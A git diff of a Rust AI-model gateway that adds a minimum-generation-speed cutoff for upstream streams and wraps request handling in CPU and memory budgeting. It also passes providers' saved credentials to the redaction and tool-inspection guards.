-    /// Compile the policies. A custom rule that does not compile is left
-    /// out, loudly, and the rest still run (see
+    /// Compile the policies, with the providers' credentials (`saved`):
+    /// outbound redaction recognises them by value, and dangerous
+    /// commands counts them as credentials, each with its provider's host. A custom rule that does
+    /// not compile is left out, loudly, and the rest still run (see
     /// `think_watch_common::guard_policy::content_rules`).
-    pub fn new(policy: &Security) -> Self {
+    pub fn new(policy: &Security, saved: &SavedSecrets) -> Self {
         Self {
-            redaction: Redaction::new(&policy.redact),
+            redaction: Redaction::new(&policy.redact, saved),
             content: ContentFilter::new(&policy.content),
-            tools: Arc::new(ToolInspection::new(&policy.inspect_tools)),
+            tools: Arc::new(ToolInspection::new(&policy.inspect_tools, saved)),
         }
     }
 }
@@ -65,7 +69,7 @@ impl Guards {
 impl Default for Guards {
     /// The factory policies: every guard observing.
     fn default() -> Self {
-        Self::new(&Security::default())
+        Self::new(&Security::default(), &SavedSecrets::default())
     }
 }
 
diff --git a/crates/gateway/src/lifecycle/mod.rs b/crates/gateway/src/lifecycle/mod.rs
index f57cd9b3..a844499d 100644
--- a/crates/gateway/src/lifecycle/mod.rs
+++ b/crates/gateway/src/lifecycle/mod.rs
@@ -34,6 +34,7 @@ use tw_dialect::ir::Dialect;
 
 use crate::guards::Guards;
 use crate::proxy::generate::{Wire, priced, tokens};
+use crate::proxy::min_speed::{CHECK_EVERY, MinSpeed, SpeedWatch};
 use crate::proxy::retry::{KEEP_ALIVE, KEEP_ALIVE_FRAME};
 use crate::proxy::shaper::{StreamShaper, rewrite_model};
 use crate::proxy::{
@@ -50,6 +51,8 @@ pub(crate) struct ChatCompletionSurface;
 
 /// A whole answer, in the caller's format.
 pub struct Completed {
+    /// Retain the upstream byte reservation through conversion and audit.
+    pub memory: Option<Bytes>,
     /// As the upstream answered, in the caller's format, with redaction
     /// placeholders still in place and the answer's text not yet through
     /// the content rules — the form the cache stores, so a later caller
@@ -95,6 +98,7 @@ pub struct ChatStreamCaptured {
 /// attempt and by the streaming tail task. Owned rather than borrowed so
 /// the detached tail needs no `'static` borrow.
 pub(crate) struct ChatRequestSnapshot {
+    pub memory: think_watch_common::resources::SharedStreamBudget,
     pub identity: GatewayRequestIdentity,
     /// The one id every audit row and gateway log carries for this request.
     pub trace_id: String,
@@ -107,7 +111,7 @@ pub(crate) struct ChatRequestSnapshot {
     /// stripped anything, before outbound redaction: the audit row is the
     /// record of what the user wrote. Body capture applies its own
     /// redaction toggle on top.
-    pub request_for_audit: Vec<u8>,
+    pub request_for_audit: Bytes,
     /// Where the cache keeps this request's answer. `None` when the
     /// request must not be cached.
     pub cache_fingerprint: Option<Vec<u8>>,
@@ -141,6 +145,9 @@ pub(crate) struct ChatPickedRoute {
     /// The route's capacity caps: its token cap counts the answer's
     /// tokens in `record_usage`.
     pub caps: crate::route_caps::RouteCaps,
+    /// The slowest generation the provider's streams may keep up (see
+    /// `proxy::min_speed`).
+    pub min_speed: Option<MinSpeed>,
 }
 
 /// Everything the post-invoke hooks read. Built once before the upstream
@@ -188,6 +195,9 @@ pub(crate) struct Sent {
     /// The attempt under way sent a different reasoning effort than the
     /// caller asked (see `proxy::effort`).
     pub effort: Option<crate::proxy::effort::EffortChange>,
+    /// The stream was cut for generating too slowly, at this many tokens
+    /// per second (see `proxy::min_speed`).
+    pub too_slow: Option<u32>,
 }
 
 /// Build the streaming pump: forward the upstream's bytes to the caller —
@@ -251,7 +261,9 @@ pub(crate) fn build_chat_pump(
     guards: &Guards,
     request: &ChatRequestSnapshot,
     provider: &str,
+    min_speed: Option<MinSpeed>,
 ) -> (axum::response::Response, StreamTail) {
+    let memory = request.memory.clone();
     let readers = Arc::new(Mutex::new(Readers::default()));
     let readers_for_tail = Arc::clone(&readers);
 
@@ -288,6 +300,7 @@ pub(crate) fn build_chat_pump(
         last_sent: std::time::Instant::now(),
         waiting: false,
         effort: None,
+        too_slow: None,
     }));
     // Gemini clients get no keep-alive comments: the google-genai SDK reads
     // every SSE line as JSON.
@@ -318,7 +331,7 @@ pub(crate) fn build_chat_pump(
             }
             let sent_at = std::time::Instant::now();
             if let Ok(mut s) = sent.lock() {
-                *s = Sent { retries: resend.budget.retries(), last_sent: sent_at, waiting: false, effort: None };
+                *s = Sent { retries: resend.budget.retries(), last_sent: sent_at, waiting: false, effort: None, too_slow: None };
             }
             // What an attempt that failed had read is not this one's: its
             // usage is not billed, its error not the request's.
@@ -392,16 +405,49 @@ pub(crate) fn build_chat_pump(
             // While a failure could still be sent again, the upstream's
             // opening is held back until its first content (see `Opening`).
             let mut hold = resend.budget.open().then(|| Opening::new(wire.dialect));
+            // The provider's slowest generation, judged once a second from
+            // the first token on (see `proxy::min_speed`).
+            let mut speed = min_speed.map(|m| SpeedWatch::new(m, wire.dialect));
+            let mut judge = tokio::time::interval(CHECK_EVERY);
+            judge.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay);
             let mut source = upstream.bytes_stream();
             loop {
                 let next = tokio::select! {
-                    item = source.next() => Some(item),
-                    _ = tokio::time::sleep_until(quiet_since + KEEP_ALIVE), if hold.is_some() && keep_alive => None,
+                    item = source.next() => Pulled::Item(item),
+                    _ = tokio::time::sleep_until(quiet_since + KEEP_ALIVE), if hold.is_some() && keep_alive => Pulled::KeepAlive,
+                    _ = judge.tick(), if speed.as_ref().is_some_and(SpeedWatch::started) => Pulled::Judge,
                 };
-                let Some(item) = next else {
-                    quiet_since = tokio::time::Instant::now();
-                    yield Ok(Bytes::from_static(KEEP_ALIVE_FRAME));
-                    continue;
+                let item = match next {
+                    Pulled::Item(item) => item,
+                    Pulled::KeepAlive => {
+                        quiet_since = tokio::time::Instant::now();
+                        yield Ok(Bytes::from_static(KEEP_ALIVE_FRAME));
+                        continue;
+                    }
+                    Pulled::Judge => {
+                        let Some((rate, min)) = speed.as_mut().and_then(|s| {
+                            Some((s.too_slow(std::time::Instant::now())?, s.min()))
+                        }) else {
+                            continue;
+                        };
+                        // Too slow: the upstream's connection goes now, not once
+                        // the client has taken the error, which is said in its
+                        // own format.
+                        drop(source);
+                        let err = too_slow(&provider, rate, min);
+                        let mut out = shaper.process(&error_frame(client, err.status_code(), &err.to_string()));
+                        out.extend(shaper.finish());
+                        if let Ok(mut s) = sent.lock() {
+                            s.too_slow = Some(rate);
+                        }
+                        tell(&mut done_tx, StreamOutcome::UpstreamError {
+                            error_type: err.error_tag().to_string(),
+                            message: err.to_string(),
+                            status_code: err.status_code(),
+                        });
+                        yield Ok(Bytes::from(out));
+                        return;
+                    }
                 };
                 let Some(item) = item else {
                     // The upstream's stream ended. One whose opening is still
@@ -418,7 +464,7 @@ pub(crate) fn build_chat_pump(
                             backoff = Some(wait);
                             continue 'attempt;
                         }
-                        match deliver(&h.release(), &mut convert, &mut shaper, inspector.as_mut(), client) {
+                        match think_watch_common::resources::cpu(0, || deliver(&h.release(), &mut convert, &mut shaper, inspector.as_mut(), client)).await {
                             Ok(out) => {
                                 if !out.is_empty() {
                                     if last_frame.is_in(&out) {
@@ -448,13 +494,27 @@ pub(crate) fn build_chat_pump(
                 };
                 match item {
                     Ok(chunk) => {
-                        let (sealed, said) = match readers.lock() {
+                        if !memory.lock().unwrap_or_else(|e| e.into_inner()).append(chunk.len()) {
+                            metrics::counter!("gateway_memory_busy_total").increment(1);
+                            let err = GatewayError::rate_limited("gateway_memory", 1);
+                            let out = cut(&shaper, convert.as_mut(), client, &[], &err);
+                            tell(&mut done_tx, StreamOutcome::UpstreamError {
+                                error_type: err.error_tag().into(),
+                                message: err.to_string(), status_code: err.status_code(),
+                            });
+                            yield Ok(Bytes::from(out));
+                            return;
+                        }
+                        if let Some(s) = speed.as_mut() {
+                            s.feed(&chunk, std::time::Instant::now());
+                        }
+                        let (sealed, said) = think_watch_common::resources::cpu(chunk.len(), || match readers.lock() {
                             Ok(mut r) => {
                                 r.feed(&chunk);
                                 (r.sealed_refusal(), r.reported(false))
                             }
                             Err(_) => (None, None),
-                        };
+                        }).await;
                         // The upstream cannot read the conversation's encrypted
                         // history: the client is told why in plain words, in
                         // place of the upstream's own error.
@@ -493,7 +553,7 @@ pub(crate) fn build_chat_pump(
                                 hold.take().map(Opening::release).unwrap_or_default()
                             }
                         };
-                        match deliver(&chunk, &mut convert, &mut shaper, inspector.as_mut(), client) {
+                        match think_watch_common::resources::cpu(chunk.len(), || deliver(&chunk, &mut convert, &mut shaper, inspector.as_mut(), client)).await {
                             Ok(out) => {
                                 if !out.is_empty() {
                                     if last_frame.is_in(&out) {
@@ -524,7 +584,7 @@ pub(crate) fn build_chat_pump(
                                 continue 'attempt;
                             }
                             // The opening it sent goes out before the error.
-                            match deliver(&h.release(), &mut convert, &mut shaper, inspector.as_mut(), client) {
+                            match think_watch_common::resources::cpu(0, || deliver(&h.release(), &mut convert, &mut shaper, inspector.as_mut(), client)).await {
                                 Ok(out) => {
                                     if !out.is_empty() {
                                         yield Ok(Bytes::from(out));
@@ -691,6 +751,7 @@ pub(crate) fn build_chat_pump(
             last_sent: started_at,
             waiting: false,
             effort: None,
+            too_slow: None,
         });
         let invoked = Invoked {
             client_ip: identity.ip_address.clone(),
@@ -1108,6 +1169,7 @@ fn resending(
             last_sent: std::time::Instant::now(),
             waiting: true,
             effort: None,
+            too_slow: None,
         };
     }
     tracing::info!(
@@ -1224,6 +1286,37 @@ impl Opening {
     }
 }
 
+/// What the pump waits on next: a piece of the upstream's stream (or its
+/// end), a keep-alive due, or a second to judge the stream's speed.
+enum Pulled<T> {
+    Item(T),
+    KeepAlive,
+    Judge,
+}
+
+/// A stream cut for generating at `rate` tokens per second, below `min`:
+/// the error, and the log line saying so.
+fn too_slow(provider: &str, rate: u32, min: MinSpeed) -> GatewayError {
+    tracing::warn!(
+        provider,
+        tokens_per_sec = rate,
+        min_tokens_per_sec = min.tokens_per_sec,
+        window_secs = min.window_secs,
+        "upstream generated too slowly, cutting the stream"
+    );
+    metrics::counter!(
+        "gateway_provider_too_slow_total",
+        "provider" => crate::metrics_labels::normalize_provider_label(provider),
+    )
+    .increment(1);
+    GatewayError::UpstreamTooSlow {
+        provider: provider.to_string(),
+        rate,
+        min: min.tokens_per_sec,
+        secs: min.window_secs,
+    }
+}
+
 /// Tell the tail how the stream ended. Only the first outcome counts.
 fn tell(done_tx: &mut Option<tokio::sync::oneshot::Sender<StreamOutcome>>, outcome: StreamOutcome) {
     if let Some(tx) = done_tx.take() {
@@ -1435,6 +1528,7 @@ impl Surface for ChatCompletionSurface {
         };
         if let Some(body) = body {
             let cached = crate::cache::Cached {
+                memory: Bytes::new(),
                 body: body.clone(),
                 prompt_tokens,
                 completion_tokens,
@@ -1533,12 +1627,15 @@ impl Surface for ChatCompletionSurface {
             deps.request.request_started_at.elapsed().as_millis() as i64,
             logged_status,
             with_usage_detail(
-                effort_detail(
-                    retried_detail(
-                        pinned_detail(error_detail, deps.route.pinned),
-                        deps.route.sel_record.retries,
+                speed_detail(
+                    effort_detail(
+                        retried_detail(
+                            pinned_detail(error_detail, deps.route.pinned),
+                            deps.route.sel_record.retries,
+                        ),
+                        deps.route.sel_record.effort,
                     ),
-                    deps.route.sel_record.effort,
+                    deps.route.sel_record.too_slow,
                 ),
                 &usage,
                 usage_estimated(&invoked.view),
@@ -1623,6 +1720,24 @@ fn effort_detail(
     Some(serde_json::Value::Object(d))
 }
 
+/// The audit detail, with `"tokens_per_sec"` when the stream was cut for
+/// generating too slowly (see `proxy::min_speed`): its speed over the
+/// window at the cut. A failed request otherwise records no speed.
+fn speed_detail(
+    detail: Option<serde_json::Value>,
+    too_slow: Option<u32>,
+) -> Option<serde_json::Value> {
+    let Some(rate) = too_slow else {
+        return detail;
+    };
+    let mut d = match detail {
+        Some(serde_json::Value::Object(d)) => d,
+        _ => serde_json::Map::new(),
+    };
+    d.insert("tokens_per_sec".into(), rate.into());
+    Some(serde_json::Value::Object(d))
+}
+
 /// The usage a captured view bills — shared by `record_usage` and
 /// `emit_audit` so the budget and the audit row can never disagree.
 fn extract_usage(view: &CapturedView<ChatCompletionSurface>) -> tw_dialect::usage::Usage {
@@ -1852,6 +1967,7 @@ mod tests {
             last_sent: std::time::Instant::now(),
             waiting: false,
             effort: None,
+            too_slow: None,
         });
         resending(
             "up",
@@ -2316,11 +2432,14 @@ mod tests {
             ContentAction, ContentMatch, ContentPolicy, ContentScope, CustomContentRule, Mode,
             RedactPolicy,
         };
-        let redaction = crate::redaction::Redaction::new(&RedactPolicy {
-            mode: Mode::Enforce,
-            enable: vec!["email".into()],
-            ..Default::default()
-        });
+        let redaction = crate::redaction::Redaction::new(
+            &RedactPolicy {
+                mode: Mode::Enforce,
+                enable: vec!["email".into()],
+                ..Default::default()
+            },
+            &Default::default(),
+        );
         let request = serde_json::json!({"messages": [
             {"role": "user", "content": "my email is alice@corp.example.org"}
         ]})
diff --git a/crates/gateway/src/proxy/body_capture.rs b/crates/gateway/src/proxy/body_capture.rs
index c2889f8d..dc024ee0 100644
--- a/crates/gateway/src/proxy/body_capture.rs
+++ b/crates/gateway/src/proxy/body_capture.rs
@@ -198,7 +198,7 @@ async fn process_body(
     offloaded_flag: &mut bool,
 ) -> String {
     if redact_pii {
-        s = redaction.redact_blob(&s);
+        s = think_watch_common::resources::cpu(s.len(), || redaction.redact_blob(&s)).await;
     }
     if s.len() <= max_bytes {
         return s;
diff --git a/crates/gateway/src/proxy/generate.rs b/crates/gateway/src/proxy/generate.rs
index 2c1c75b0..8321c059 100644
--- a/crates/gateway/src/proxy/generate.rs
+++ b/crates/gateway/src/proxy/generate.rs
@@ -32,6 +32,7 @@
 //! are thinkwatch-core's, shared with the desktop gateway.
 
 use std::convert::Infallible;
+use think_watch_common::resources;
 
 use crate::call_ctx::CallCtx;
 use crate::error::GatewayError;
@@ -628,9 +629,12 @@ pub(crate) async fn send(
 ) -> Result<(reqwest::Response, Wire), GatewayError> {
     let upstream = &entry.upstream;
     let official = upstream.is_official();
-    let first = outbound
-        .address(entry.protocol, model, official)?
-        .for_upstream(upstream, model);
+    let first = resources::cpu(usize::MAX, || {
+        outbound
+            .address(entry.protocol, model, official)
+            .map(|wire| wire.for_upstream(upstream, model))
+    })
+    .await?;
     // Only a request that can carry an effort asks the memory.
     let memory = if outbound.reasoning.any {
         effort::recall(redis, entry.provider_id, first.dialect, model).await
@@ -724,9 +728,12 @@ pub(crate) async fn send(
                 to = %protocol,
                 "Upstream rejected the configured protocol — retrying with an alternate"
             );
-            let wire = outbound
-                .address(*protocol, model, official)?
-                .for_upstream(upstream, model);
+            let wire = resources::cpu(usize::MAX, || {
+                outbound
+                    .address(*protocol, model, official)
+                    .map(|wire| wire.for_upstream(upstream, model))
+            })
+            .await?;
             let wire = if outbound.reasoning.any {
                 let memory = effort::recall(redis, entry.provider_id, wire.dialect, model).await;
                 wire.remembered(&memory)
@@ -770,33 +777,46 @@ pub(crate) async fn read_whole(
     caller_model: &str,
     input_estimate: u64,
 ) -> Result<Completed, GatewayError> {
-    let upstream = resp
-        .bytes()
+    let upstream = resources::read_response(resp, resources::policy().max_body_bytes)
         .await
-        .map_err(super::transport::transport_error)?;
-
-    let mut sniffer = tw_dialect::usage::Sniffer::new();
-    sniffer.feed(&upstream);
-    let (usage, usage_estimated) =
-        crate::usage_estimate::complete(sniffer.finish(), true, input_estimate, Some(&upstream));
-    if usage_estimated {
-        metrics::counter!("gateway_usage_estimated_total").increment(1);
-    }
+        .map_err(|error| match error {
+            resources::ReadError::Busy => GatewayError::rate_limited("gateway_memory", 1),
+            resources::ReadError::Transport(error) => super::transport::transport_error(error),
+            resources::ReadError::TooLarge => {
+                GatewayError::ProviderInvalidResponse(error.to_string())
+            }
+        })?;
+    let memory = upstream.clone();
+    resources::cpu(upstream.len(), || {
+        let mut sniffer = tw_dialect::usage::Sniffer::new();
+        sniffer.feed(&upstream);
+        let (usage, usage_estimated) = crate::usage_estimate::complete(
+            sniffer.finish(),
+            true,
+            input_estimate,
+            Some(&upstream),
+        );
+        if usage_estimated {
+            metrics::counter!("gateway_usage_estimated_total").increment(1);
+        }
 
-    let body = match &wire.convert {
-        Some(session) => session.response(&upstream).ok_or_else(|| {
-            GatewayError::ProviderInvalidResponse(
-                "The upstream answered with something that is not JSON.".into(),
-            )
-        })?,
-        None => upstream.to_vec(),
-    };
-    Ok(Completed {
-        body: rewrite_model(&body, caller_model),
-        logged: None,
-        usage,
-        usage_estimated,
+        let body = match &wire.convert {
+            Some(session) => session.response(&upstream).ok_or_else(|| {
+                GatewayError::ProviderInvalidResponse(
+                    "The upstream answered with something that is not JSON.".into(),
+                )
+            })?,
+            None => upstream.to_vec(),
+        };
+        Ok(Completed {
+            memory: Some(memory),
+            body: rewrite_model(&body, caller_model),
+            logged: None,
+            usage,
+            usage_estimated,
+        })
     })
+    .await
 }
 
 // ───────────────────────────────────────────── the pipeline
@@ -860,11 +880,14 @@ async fn run(
         "(unknown)",
         request_started_at,
     );
-    let raw: Value = serde_json::from_slice(&body).map_err(|_| {
-        early_ctx.emit(GatewayError::TransformError(
-            "The request body is not valid JSON.".into(),
-        ))
-    })?;
+    let original_body = body.clone();
+    let raw: Value = resources::cpu(body.len(), || serde_json::from_slice(&body))
+        .await
+        .map_err(|_| {
+            early_ctx.emit(GatewayError::TransformError(
+                "The request body is not valid JSON.".into(),
+            ))
+        })?;
     let (model, is_stream) = if surface.dialect == Dialect::Gemini {
         gemini_target(path).ok_or_else(|| {
             early_ctx.emit(GatewayError::TransformError(format!(
@@ -927,7 +950,8 @@ async fn run(
     //    the caller's 403, quoting their words (masked). The rules that
     //    check answers run on the way back (the shaper for a stream, below
     //    for a whole answer).
-    let screening = guards.content.screen(surface.dialect, &body);
+    let screening =
+        resources::cpu(body.len(), || guards.content.screen(surface.dialect, &body)).await;
     crate::content_filter::record(&state.audit, &caller, guards.content.mode, &screening);
     if let Some(hit) = screening.refusal() {
         return Err(ctx
@@ -938,12 +962,14 @@ async fn run(
     // every hop, the audit row — the request is the changed one.
     let (body, raw) = match screening.body {
         Some(stripped) => {
-            let raw = serde_json::from_slice(&stripped).map_err(|_| {
-                ctx.emit(GatewayError::TransformError(
+            let raw = resources::cpu(stripped.len(), || serde_json::from_slice(&stripped))
+                .await
+                .map_err(|_| {
+                    ctx.emit(GatewayError::TransformError(
                     "The request could not be read after the content filter changed text in it."
                         .into(),
                 ))
-            })?;
+                })?;
             (stripped, raw)
         }
         None => (body, raw),
@@ -954,8 +980,10 @@ async fn run(
     //    conversation kept on OpenAI's servers (`previous_response_id`), or
     //    carries a compaction only OpenAI can read — can still be forwarded
     //    to an upstream of its own format, so that is where it goes (step 8).
-    let decoded =
-        tw_dialect::convert::decode(surface.dialect, &raw, path, internal_query(surface.dialect));
+    let decoded = resources::cpu(body.len(), || {
+        tw_dialect::convert::decode(surface.dialect, &raw, path, internal_query(surface.dialect))
+    })
+    .await;
 
     // 5. Outbound redaction: the text written in the request — located by
     //    the structure of the caller's format, never its ids, types or
@@ -968,19 +996,25 @@ async fn run(
     //    The audit row keeps what the caller wrote (their at-rest
     //    redaction setting applies on top).
     let shape = Shape::Generate(surface.dialect);
-    let (findings, ledger) = guards.redaction.look(&body, shape);
+    let (findings, ledger) =
+        resources::cpu(body.len(), || guards.redaction.look(&body, shape)).await;
     crate::redaction::record(&state.audit, &caller, &guards.redaction, &findings);
-    let request_for_audit = body.to_vec();
-    let outbound_body = if ledger.is_empty() {
-        raw
-    } else {
-        let (replaced, _) = guards.redaction.replace(body.to_vec(), &ledger, shape);
-        serde_json::from_slice(&replaced).map_err(|_| {
-            ctx.emit(GatewayError::TransformError(
-                "The request could not be read after redaction.".into(),
-            ))
-        })?
-    };
+    let request_for_audit = resources::retain(body.clone(), original_body);
+    let outbound_body = resources::cpu(body.len(), || {
+        if ledger.is_empty() {
+            Ok::<_, GatewayErrorResponse>(raw)
+        } else {
+            let (replaced, _) = guards.redaction.replace(body.to_vec(), &ledger, shape);
+            serde_json::from_slice(&replaced)
+                .map_err(|_| {
+                    ctx.emit(GatewayError::TransformError(
+                        "The request could not be read after redaction.".into(),
+                    ))
+                })
+                .map_err(Into::into)
+        }
+    })
+    .await?;
 
     // 6. The model's settings. The output cap is applied to each hop as it
     //    is addressed (`Outbound::cap_output`): whether to fill one in
@@ -1005,22 +1039,27 @@ async fn run(
     //    budgets like a real call would — the caller received them, and
     //    otherwise repeating a cached prompt would get round every token
     //    limit.
-    let cache_fingerprint = if surface.caches {
-        ResponseCache::fingerprint(&outbound_body).map(|mut fp| {
-            // The cap and the reasoning setting are applied after this, per
-            // hop: an answer made under one must not be served under
-            // another.
-            if let Some(cap) = max_output_tokens {
-                fp.extend_from_slice(format!("\nmax_output_tokens={cap}").as_bytes());
-            }
-            if let Some(setting) = reasoning.setting {
-                fp.extend_from_slice(format!("\nreasoning_effort={}", setting.slug()).as_bytes());
-            }
-            fp
-        })
-    } else {
-        None
-    };
+    let cache_fingerprint = resources::cpu(body.len(), || {
+        if surface.caches {
+            ResponseCache::fingerprint(&outbound_body).map(|mut fp| {
+                // The cap and the reasoning setting are applied after this, per
+                // hop: an answer made under one must not be served under
+                // another.
+                if let Some(cap) = max_output_tokens {
+                    fp.extend_from_slice(format!("\nmax_output_tokens={cap}").as_bytes());
+                }
+                if let Some(setting) = reasoning.setting {
+                    fp.extend_from_slice(
+                        format!("\nreasoning_effort={}", setting.slug()).as_bytes(),
+                    );
+                }
+                fp
+            })
+        } else {
+            None
+        }
+    })
+    .await;
     if let Some(fp) = &cache_fingerprint
         && let Some(cached) = state.cache.get(fp).await
     {
@@ -1028,23 +1067,33 @@ async fn run(
         // With this caller's values in it: what they would run. A stored
         // answer passed the content rules and the inspection in force when
         // it was stored, not necessarily the ones in force now.
-        let restored = crate::redaction::restore_body(&ledger, &cached.body);
-        let restored = crate::content_filter::whole(
-            &guards.content,
-            &state.audit,
-            &caller,
-            "cache",
-            surface.dialect,
-            restored,
-        );
-        if let Some(e) = crate::tool_inspection::check_whole(
-            &guards.tools,
-            &guards.redaction,
-            &state.audit,
-            &caller,
-            "cache",
-            &restored,
-        ) {
+        let restored = resources::cpu(cached.body.len(), || {
+            crate::redaction::restore_body(&ledger, &cached.body)
+        })
+        .await;
+        let restored = resources::cpu(restored.len(), || {
+            crate::content_filter::whole(
+                &guards.content,
+                &state.audit,
+                &caller,
+                "cache",
+                surface.dialect,
+                restored,
+            )
+        })
+        .await;
+        if let Some(e) = resources::cpu(restored.len(), || {
+            crate::tool_inspection::check_whole(
+                &guards.tools,
+                &guards.redaction,
+                &state.audit,
+                &caller,
+                "cache",
+                &restored,
+            )
+        })
+        .await
+        {
             return Err(ctx.emit(e).into());
         }
         // The tokens the stored answer records, weighted for this model,
@@ -1110,12 +1159,13 @@ async fn run(
             // client gets the framing it asked for.
             let body = String::from_utf8_lossy(&restored).into_owned();
             let events = async_stream::stream! {
+                let _memory = cached.memory;
                 yield Ok::<_, Infallible>(axum::response::sse::Event::default().data(body));
                 yield Ok::<_, Infallible>(axum::response::sse::Event::default().data("[DONE]"));
             };
             axum::response::sse::Sse::new(events).into_response()
         } else {
-            json_response(restored)
+            json_response(resources::retain(restored.into(), cached.memory))
         };
         response
             .headers_mut()
@@ -1213,6 +1263,7 @@ async fn run(
         state: state.clone(),
         guards: guards.clone(),
         request: crate::lifecycle::ChatRequestSnapshot {
+            memory: resources::stream_budget(),
             identity: identity.clone(),
             trace_id: metadata.request_id.clone(),
             session_id: session_id.clone(),
@@ -1233,6 +1284,7 @@ async fn run(
             upstream_model: route.upstream_model.clone(),
             sel_record,
             caps: crate::route_caps::RouteCaps::of(route),
+            min_speed: route.upstream.min_speed,
         },
         cache_enabled: surface.caches,
     };
@@ -1360,28 +1412,39 @@ async fn run(
 
     // The answer as the caller will receive it: their values restored,
     // then its text through the content rules that check answers.
-    let restored = crate::redaction::restore_body(&answer_ledger, &completed.body);
-    let restored = crate::content_filter::whole(
-        &guards.content,
-        &state.audit,
-        &caller,
-        &entry.provider_name,
-        surface.dialect,
-        restored,
-    );
+    let response_memory = completed.memory.clone();
+    let restored = resources::cpu(completed.body.len(), || {
+        crate::redaction::restore_body(&answer_ledger, &completed.body)
+    })
+    .await;
+    let restored = resources::cpu(restored.len(), || {
+        crate::content_filter::whole(
+            &guards.content,
+            &state.audit,
+            &caller,
+            &entry.provider_name,
+            surface.dialect,
+            restored,
+        )
+    })
+    .await;
 
     // Tool calls, on the whole answer before any of it has gone out — in
     // the form the caller would run them. A refusal is the gateway's
     // policy, not the upstream failing, so the route's health counts it as
     // a success; the answer is neither cached nor billed.
-    if let Some(e) = crate::tool_inspection::check_whole(
-        &guards.tools,
-        &guards.redaction,
-        &state.audit,
-        &caller,
-        &entry.provider_name,
-        &restored,
-    ) {
+    if let Some(e) = resources::cpu(restored.len(), || {
+        crate::tool_inspection::check_whole(
+            &guards.tools,
+            &guards.redaction,
+            &state.audit,
+            &caller,
+            &entry.provider_name,
+            &restored,
+        )
+    })
+    .await
+    {
         finalize_health(&state, &sel_record, true).await;
         return Err(ctx.emit(e).into());
     }
@@ -1407,7 +1470,10 @@ async fn run(
         "Audit log: request completed"
     );
 
-    let mut response = json_response(restored);
+    let mut response = json_response(resources::retain(
+        restored.into(),
+        response_memory.unwrap_or_default(),
+    ));
     response
         .headers_mut()
         .insert("X-Cache", HeaderValue::from_static("MISS"));
@@ -1474,13 +1540,13 @@ fn dialect_headers(headers: &HeaderMap) -> Vec<(String, String)> {
         .collect()
 }
 
-fn json_response(body: Vec<u8>) -> axum::response::Response {
+fn json_response(body: impl Into<Bytes>) -> axum::response::Response {
     (
         [(
             header::CONTENT_TYPE,
             HeaderValue::from_static("application/json"),
         )],
-        body,
+        body.into(),
     )
         .into_response()
 }
@@ -1506,10 +1572,13 @@ mod tests {
     }
 
     fn outbound(surface: ClientSurface, path: &str, body: Value, cap: Option<u32>) -> Outbound {
-        let redaction = Redaction::new(&tw_guard::policy::RedactPolicy {
-            mode: tw_guard::policy::Mode::Off,
-            ..Default::default()
-        });
+        let redaction = Redaction::new(
+            &tw_guard::policy::RedactPolicy {
+                mode: tw_guard::policy::Mode::Off,
+                ..Default::default()
+            },
+            &Default::default(),
+        );
         let (_, ledger) = redaction.look(b"{}", Shape::Generate(surface.dialect));
         Outbound {
             surface,
diff --git a/crates/gateway/src/proxy/min_speed.rs b/crates/gateway/src/proxy/min_speed.rs
new file mode 100644
index 00000000..f026942a
--- /dev/null
+++ b/crates/gateway/src/proxy/min_speed.rs
@@ -0,0 +1,830 @@
+//! Cut a stream an upstream generates too slowly.
+//!
+//! A provider can set the slowest generation it may keep a stream at
+//! (`providers.min_speed_tokens_per_sec`, averaged over
+//! `providers.min_speed_window_secs`). Some upstreams — an overloaded
+//! relay, a small self-hosted model — keep a stream open and dribble a
+//! token every second or two: the client neither gets its answer nor an
+//! error it could retry on. With a minimum set, such a stream is cut and
+//! the client told why (503), so it can try again — elsewhere, since the
+//! route has a failure against it and its affinity is dropped.
+//!
+//! # The rule
+//!
+//! - Only streams. A whole answer and a WebSocket turn are not measured.
+//! - Counting starts at the first token. Until `window` has passed since
+//!   then, nothing is judged.
+//! - Once a second, the speed over the last `window` is
+//!   `visible tokens in it / (window − time left out of it)`; below the
+//!   minimum, the stream is cut.
+//! - Left out of the window, with whatever arrived in it:
+//!   - a **long pause**: [`long_pause`] or more without content — a
+//!     quarter of the window, at most 5 s. An upstream that went quiet is
+//!     not generating slowly, it is not generating at all, and a model
+//!     thinking behind a hidden reasoning block looks the same;
+//!   - a **summarised reasoning phase** (see below): the reasoning is
+//!     generated at full speed, but the upstream sends a summary of it in
+//!     bursts every few seconds.
+//!
+//!   When what is left is less than half the window, that second is not
+//!   judged — a few seconds of data are not enough to conclude on.
+//! - No second is judged while a summarised reasoning phase is open, nor
+//!   one whose last content arrived more than [`CATCH_UP`] ago: an
+//!   upstream often holds tokens back and sends them in one burst, and the
+//!   burst is waited for.
+//! - Nothing is judged once the upstream has said the answer is done (a
+//!   stop reason, or its format's last frame), however long it keeps the
+//!   connection open after.
+//!
+//! # Reasoning
+//!
+//! Reasoning streamed as it is generated counts like the answer: Chat's
+//! `reasoning_content` and Responses' `response.reasoning_text.delta`.
+//! Reasoning streamed as a summary does not, and its phase is left out:
+//! Responses' `response.reasoning_summary_text.delta`, Anthropic's thinking
+//! blocks (summarised on every model that streams them now), Gemini's
+//! thought parts (thought summaries) and Bedrock's reasoning content
+//! (Anthropic models' summaries, there too). A phase runs from the
+//! reasoning block's start to its end, or to the first answer text or
+//! tool call after it.
+//!
+//! # Counting tokens
+//!
+//! The visible text the upstream streams — answer text, reasoning text
+//! that counts (above) and tool arguments, read in its own format with
+//! `tw_dialect::convert::Reader` — estimated as the desktop gateway
+//! estimates its live speed: an ASCII byte is a quarter of a token, any
+//! other character one token. Bytes alone (four to a token, as
+//! [`crate::usage_estimate`] bills an answer nobody reported) would count a
+//! Chinese character as three quarters of a token where tokenizers give
+//! it one or more, and cut Chinese answers that are not slow.
+//!
+//! Counts the upstream reports are not used: Gemini's running output count
+//! includes the thoughts it does not show, and one that leaps ahead of the
+//! text would leave the text behind it counting for nothing.
+//!
+//! What is billed is not this: a stream cut here is billed like any other
+//! stream cut short (see `usage_estimate::complete`).
+
+use std::collections::VecDeque;
+use std::time::{Duration, Instant};
+
+use tw_dialect::convert::Reader;
+use tw_dialect::frame;
+use tw_dialect::ir::{BlockKind, Delta, Dialect, Event};
+
+/// The longest a pause has to be to be left out of the window.
+pub const LONG_PAUSE_MAX: Duration = Duration::from_secs(5);
+
+/// A second whose last content arrived longer ago than this is not
+/// judged: the burst that catches up is waited for.
+pub const CATCH_UP: Duration = Duration::from_secs(1);
+
+/// How often a stream's speed is judged.
+pub const CHECK_EVERY: Duration = Duration::from_secs(1);
+
